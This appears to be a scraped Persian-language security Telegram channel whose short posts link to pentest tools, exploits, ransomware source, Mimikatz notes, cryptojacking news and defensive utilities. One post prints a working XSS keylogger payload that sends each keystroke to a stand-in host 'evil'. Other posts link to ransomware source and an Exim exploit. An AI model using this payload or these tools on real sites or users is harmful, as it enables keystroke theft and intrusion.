#copycat Removed!

@sec_nerd

رمزگشایی فایلهای باج افزار با پسوند fucku.

https://download.bleepingcomputer.com/demonslay335/hc6Decrypter.zip

#ransomware
#decrypt

@sec_nerd

این هم روش جدید بروت فورس ریموت دسکتاپ با دستکاری برنامه رابط!

#bruteforce
#rdp
#vnc

@sec_nerd

کشف باگ در افزونه های وردپرس با WPSploit

https://github.com/m4ll0k/WPSploit

#wordpress
#web
#pentest

@sec_nerd

کتاب آموزش metasploit برای علاقمندان (زبان اصلی)

https://drive.google.com/file/d/0B-hV1HrMP8j1R3lvTXNCTzNsck0/edit

#msf
#pentest
#ebook

@sec_nerd

باز هم باکت محافظت نشده سرور ابری آمازون باعث نشر اطلاعات محرمانه NSA شد.

https://bit.ly/2ileM7S

#nsa
#aws

@sec_nerd

فرهنگ لغات

#HUMINT جمع آوری اطلاعات از افراد بصورت میدانی
#GEOINT جمع آوری اطلاعات از ماهواره ها، عکس و نقشه
#MASINT جمع آوری اندازه ها و اثرات
#OSINT جمع آوری اطلاعات از منابع متن باز
#SIGINT جمع آوری اطلاعات از طریق امواج و سیگنالها
#TECHINT جمع آوری اطلاعات از سلاحها و تجهیزات جنگی کشورهای دیگر
#CYBINT اطلاعات جمع آوری شده از فضای سایبری
#FININT جمع آوری اطلاعات از آنالیز تجاری و تبادلات مالی


@sec_nerd

باج افزار متن باز

https://github.com/sithis993/Crypter

#ransomware
#opensource

@sec_nerd

روش جدید استفاده از coinhive، حتی با بستن مرورگر هم کار ادامه پیدا میکند‌(با مخفی کردن یک پاپ آپ زیر تسک بار!)

https://bit.ly/2AjHt9A

#chrome #cryptojacking #monero

@sec_nerd

توضیحات کاملی در خصوص عملکرد Mimikatz

https://adsecurity.org/?page_id=1821

#mimikatz
#windows
#privilege_escalation

@sec_nerd

شخصی که حساب ترامپ را در توییتر غیرفعال کرده بود!

tcrn.ch/2zzA6Kb

#trump
#twitter
#fun

@sec_nerd

نمودار ارزش دلار در برابر بیت کوین از سال 2013 تاکنون!

#btc

@sec_nerd

ایجاد دسترسی روت بصورت ریموت با استفاده از باگ موجود در سیستم عامل Mac High Sierra

https://bit.ly/2ipMIA0

#macos
#root
#apple

@sec_nerd

XSS Keylogger:

<img src=x onerror='document.onkeypress=function(e){fetch("//evil?k="+String.fromCharCode(e.which))},this.remove();'>

#XSS

@sec_nerd

اکسپلویت

https://0day.today/exploit/29082

#exim
#exploit
#poc
#linux

@sec_nerd

اگر ....
محدودیت سرعت و پهنای باند بجای خود باقیست و محدودیت بازدید از وبسایتهای خارجی با تخصیص یک سوم حجم به ترافیک خارجی هم اضافه شد!
while(true) {load('bmi.ir');}

#iran
@sec_nerd

هک بار سابق اینبار بعنوان یکی از گزینه های توسعه دهنده به میدان آمد.

https://addons.mozilla.org/en-US/firefox/addon/hackbar-for-firefox-57/

#firefox
#hackbar

@sec_nerd

پیداکردن ورودهای مشکوک در ویندوز با استفاده از event log

https://github.com/JPCERTCC/LogonTracer

#windows
#rdp
#security

@sec_nerd